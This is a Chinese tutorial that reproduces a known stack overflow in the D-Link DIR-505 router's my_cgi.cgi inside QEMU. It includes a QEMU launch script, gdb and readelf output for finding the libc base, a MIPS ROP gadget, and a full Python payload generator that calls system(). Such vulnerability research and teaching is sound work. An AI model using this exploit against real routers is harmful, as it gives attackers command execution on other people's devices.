前言
物联网的漏洞复现和传统系统的漏洞复现的不同点在于,物理网漏洞依赖于硬件,几乎每一个漏洞都得买一个新的硬件复现,这不同于传统系统只要下载好正确的对应版本软件即可。因此,在本地的虚拟环境中复现漏洞是一个极其经济的做法。且在正式向实际硬件复现漏洞之前,在本地虚拟环境中复现将有利于调试实际环境中的不可预期问题。
本文因此以路由器漏洞D-Link DIR-505为例,介绍如何在本地虚拟机中完成漏洞复现。在《揭秘家用路由器0day漏洞挖掘技术》里面的第12章,介绍了如何挖掘以及利用D-Link DIR-505的漏洞。但是书本里面介绍的方法,如果要在本地的QEMU虚拟机里面执行的话,有问题,因为在使用bash脚本输出执行的时候,会自动过滤掉null 字符,然后一个关键的调用system函数的地址就包含了null字符,因此使得在本地QEMU的验证失败。本文与书本里面的方法不同,利用调用外部库libc.so.0里面的system函数,并且在libc.so.0里面寻找可利用的gadget,来实现在本地QEMU虚拟机环境里面,对于D-Link DIR-505的漏洞利用,无需在实际的设备中测试。如果需要在实际的设备中测试的时候,仅需要改变代入库函数的基地址就可以。
在本文中,我将介绍:1.如何调用从共享库libc.so.0里面调用system函数,2.如何确定共享库libc.so.0的基地址。其中,对于2,我提供了两种方式,其实还有第三种方式,但是我还尚未验证,理论上也是可行的,也将在文后提出来。
下面进入正题。前提是假设读者已经拥有了搭建好的QEMU环境。
1. binwalk 固件提取
首先老规矩,利用binwalk 将下载的Dlink固件提取:
$ binwalk -Me DIR505A1_FW108B07.bin
2. 分析漏洞关键位置
复用书本中对于公布的漏洞细节的分析,可以发现漏洞出现的关键位置,在根目录的/usr/bin/my_cgi.cgi中。且关键输入源是storage_path=xx. 虽然CONTENT_LENGTH对于读取的storage_path的内容长度有所限制,但是对于CONTENT_LENGTH的数值没有限制,导致了实际上任意长度的字符串内容都可以被读取,导致了栈溢出的漏洞。详细的分析可以参考书中的第12章,这里不再赘述。
3. 分析RA偏移
接下来就是分析能够对于函数返回寄存器RA产生溢出的偏移地址位置。使用书本提供的patternLocOffset.py脚本生成字符串匹配脚本,来计算偏移。
$ python patternLocOffset.py –c –l 600 –f dir505test
[*] Create pattern string contains 600 characters ok!
[+] output to passwd ok!
[+] take time: 0.0026 s
4. QEMU运行漏洞程序
接着使用如下脚本来使得my_cgi.cgi在QEMU的环境下执行:
# sudo bash my_cgi_test.sh
# INPUT=`python -c "print 'storage_path='+open('dir505test','r').read()"`
INPUT=`python -c "print 'storage_path='+'B'*477450+open('dir505test','r').read()"`
# LEN=$(echo -n "INPUT" | wc -c)
((LEN=477472+0x100))
PORT="1234"
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
echo -e "usage: sudo bash my_cgi_test.sh"
exit 1
fi
cp $(which qemu-mips-static) ./qemu
echo "CONTENT_LENGTH" + $LEN
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="manultipart/form-data" -E SCRIPT_NAME="common" -E REQUEST_METHOD="POST" -E REQUEST_URI="/my_cgi.cgi" -g $PORT /usr/bin/my_cgi.cgi 2>/dev/null
echo "youtest"
rm -f ./qemu
这里要特别注意的有两点:
一点是,CONTENT_LENGTH最好自己手动指定长度,原始书本里面提供的脚本设置的CONTENT_LENGTH长度是不对的,它显示只是bash脚本参数的个数(一般来说就是3或者5),那这样的话,就始终无法读取到我们之后所有设置的payload内容,这个部分我一直卡住了很久,而书本中也未曾提到这一点,希望各位小伙伴在复现的时候一定注意。所以我们这里设置((LEN=477472+0x100))。 之后LEN会赋值给CONTENT_LENGTH。
另一点,storage_path这里要先覆盖掉整个全局变量的长度,这个部分类似于书本中分析,可以发现memset(entries, 0 , 477450)的477450长度,所以我们设置477450的预先覆盖长度。
5. 运行脚本之后,使用IDA挂载程序,在返回RA处设置断点,查看RA的数据。
可以发现覆盖的字符串内容为61374161, 那么我们来查找一下:
$ python patternLocOffset.py -s 0x61374161 -l 700
[*] Create pattern string contains 700 characters ok!
[*] Exact match at offset 22
[+] take time: 0.0012 s
发现是第22个偏移。那么如果想要覆盖到RA的话,前面总共的偏移量为477450+22=477472.
6. gadget寻找与利用
按照书本原来的做法,直接找到在my_cgi.cgi里面的一个gadget 地址为0x00405B1C,这个地址是调用system函数的地址,然后在对应的位置覆盖要传入的CMD就可以。但是前面提到过,如果用bash脚本的话,会把null字符过滤掉,导致地址无法正确输入,0x00405B1C中包含了一个null字符0x00. 所以我们下面开始要寻找共享库函数libc.so.0里面的system函数,并且也同时在libc.so.0利用寻找可以利用的gadget来实现system函数调用、传参。
为了完成上述任务,需要完成以下步骤:
A. 寻找libc.so.0的基地址
B. 寻找system函数的位置
C. 寻找libc.so.0里面可以利用gadget
7. 寻找libc.so.0的基地址
本文提供两种方法:利用读取proc文件的方式,和利用gdb调试的方式。
第一种,利用读取proc文件的方式。
在运行了bash脚本,且用IDA挂载之后,运行ps –ef查看对应进程的id
接下来运行下面的命令,查看对应库导入的地址范围
$ sudo cat /proc/5006/maps
注意,libc.so.0的符号连接就是这个libuClibc-0.9.30.so,这个问题曾经也一直困扰我很久,希望大家一定注意这个点。
因此我们就确定了这个库的基地址是:0x408c2000
第二种方式,利用gdb调试。
这里使用的是gdb远程调试的方式。
同样的,在运行了bash脚本之后,运行下面的命令进行调试
$gdb my_cgi.cgi
Type "apropos word" to search for commands related to "word"...
Reading symbols from my_cgi.cgi...(no debugging symbols found)...done.
(gdb) target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234
warning: remote target does not support file transfer, attempting to access files from local filesystem.
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0x00000000 in ?? ()
(gdb) break *0x00400034
Breakpoints 1 0x00400034
(gdb) set solib-search-path ../../lib
warning: `/home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.so': Shared library architecture unknown is not compatible with target architecture i386.
warning: `/home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.so': Shared library architecture unknown is not compatible with target architecture i386.
Reading symbols from /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.so...(no debugging symbols found)...done.
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x00400034 in ?? ()
(gdb) info sharedlibrary
From To Syms Read Shared Object Library
Yes (*) /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.so
0x40819910 0x4081cab0 Yes /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libmidware.so
0x4082f580 0x40836b80 Yes /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libputil.so
0x4084a9a0 0x4084ce80 Yes /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libeutil.so
0x4085fb50 0x40860e00 Yes /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libnvram.so
0x408734d0 0x40874bd0 Yes /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libmd5.so
Yes /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libgcc_s.so.1
0x408cbf90 0x408ebf90 Yes /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.so
(*): Shared library is missing debugging information.
可以发现载入的地址是0x408cbf90,但是这个不是基地址,而是载入了libc.so.0的入口地址,基地址就要减去其入口地址。执行下面的命令:
$ readelf -a libc.so.0 |more
ELF Header:
Magic: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, big endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: MIPS R3000
Version: 0x1
Entry point address: 0x9f90
Start of program headers: 52 (bytes into file)
最终可以计算得到基地址:0x408cbf90-0x9f90=0x408c2000。 和前面得到的是一样的。
第三种方式,利用已经载入的函数地址。
算是思路。即,在动态载入了函数以后,在main函数里面查找调用了libc.so.0里面函数的位置,下断点,找到其已经计算好的函数偏移func_offset, 然后在libc.so.0里面找到该函数的偏移libc_offset, 两者相减就是基地址: base_offset = func_offset – libc_offset。 尚未验证,但是理论上是可行的。
8. 寻找system函数在libc.so.0里面的地址。
这个简单,直接用IDA导入libc.so.0,然后查找即可。
因此,在这个例子里面,system函数的地址为:0x0004BC80.
9. 寻找libc.so.0里面可以利用gadget
利用IDA脚本 mipsrop.stackfinder(),既可以找到。
发现0x 000149AC这个位置的代码段好用。其代码块内容为:
LOAD:000149AC addiu $s5, $sp, 0x170-0x160
LOAD:000149B0 move $a1, $s3
LOAD:000149B4 move $a2, $s1
LOAD:000149B8 move $t9, $s0
LOAD:000149BC jalr $t9 ; mempcpy
LOAD:000149C0 move $a0, $s5
因此,只要在sp+0x170-0x160 放入需要执行的命令(比如“ls”),然后在s0填入system函数的地址就可以了。
整个堆栈的payload覆盖示意图如下面所示:
关键的位置用灰底色标记出来了。
完整的漏洞利用payload生成脚本为:
#!/usr/bin/env python
import struct
print '[*] prepare shellcode',
cmd = "ls" # command string
cmd += "x00"*(4 - (len(cmd) % 4)) # align by 4 bytes
libc = 0x408c2000
libcSystemaddress = 0x0004BC80
libcSystemCaller = 0x000149AC
#shellcode
paddinglen = 477472 - 36;
shellcode = "A"*paddinglen # padding buf
shellcode += struct.pack(">L",libc+libcSystemaddress) # s0,
shellcode += "B"*4; # s1,
shellcode += "B"*4; # s2,
shellcode += "B"*4; # s3,
shellcode += "B"*4; # s4,
shellcode += "B"*4 # s5,
shellcode += "B"*4; # s6,
shellcode += "B"*4; # s7,
shellcode += "B"*4; # fp,
shellcode += struct.pack(">L",libc+libcSystemCaller) # after fill the RA, then it is the SP stack start.
shellcode += "C"*0x10 # padding for fill the parameter cmd.
shellcode += cmd
shellcode += "0x00"
print ' ok!'
#create password file
print '[+] create password file',
fw = open('dir505test','w')
fw.write(shellcode)
fw.close()
print ' ok!'
10. 执行效果
可以发现漏洞在本地的QEMU虚拟机中也被成功的利用了。省去了我们要借助实际路由器的麻烦。
总结
为了能够在QEMU环境中实现漏洞复现的第一步验证,实现一个可靠的ROP chain是有必要的。也许有的读者会说,虽然bash里面会自动把null过滤掉,那么可以寻找方案让bash不过滤掉null不就行了?这个思路治标不治本,因此虽然在某些例子里面,即使payload包含null也ok(比如之前发表过的文章: MIPS缓冲区溢出漏洞实践),但是作为一个向着通用漏洞前进的方案,应当是尽可能构造一个无null字符的payload。本文在实践过程中总结了一些可能会遇到的坑,这些坑书本里面没有提到,希望大家能够避免。此外,除了本文提到的方式,还可以通过构造shellcode的方式来避免null byte。Shellcode的构造将在未来介绍。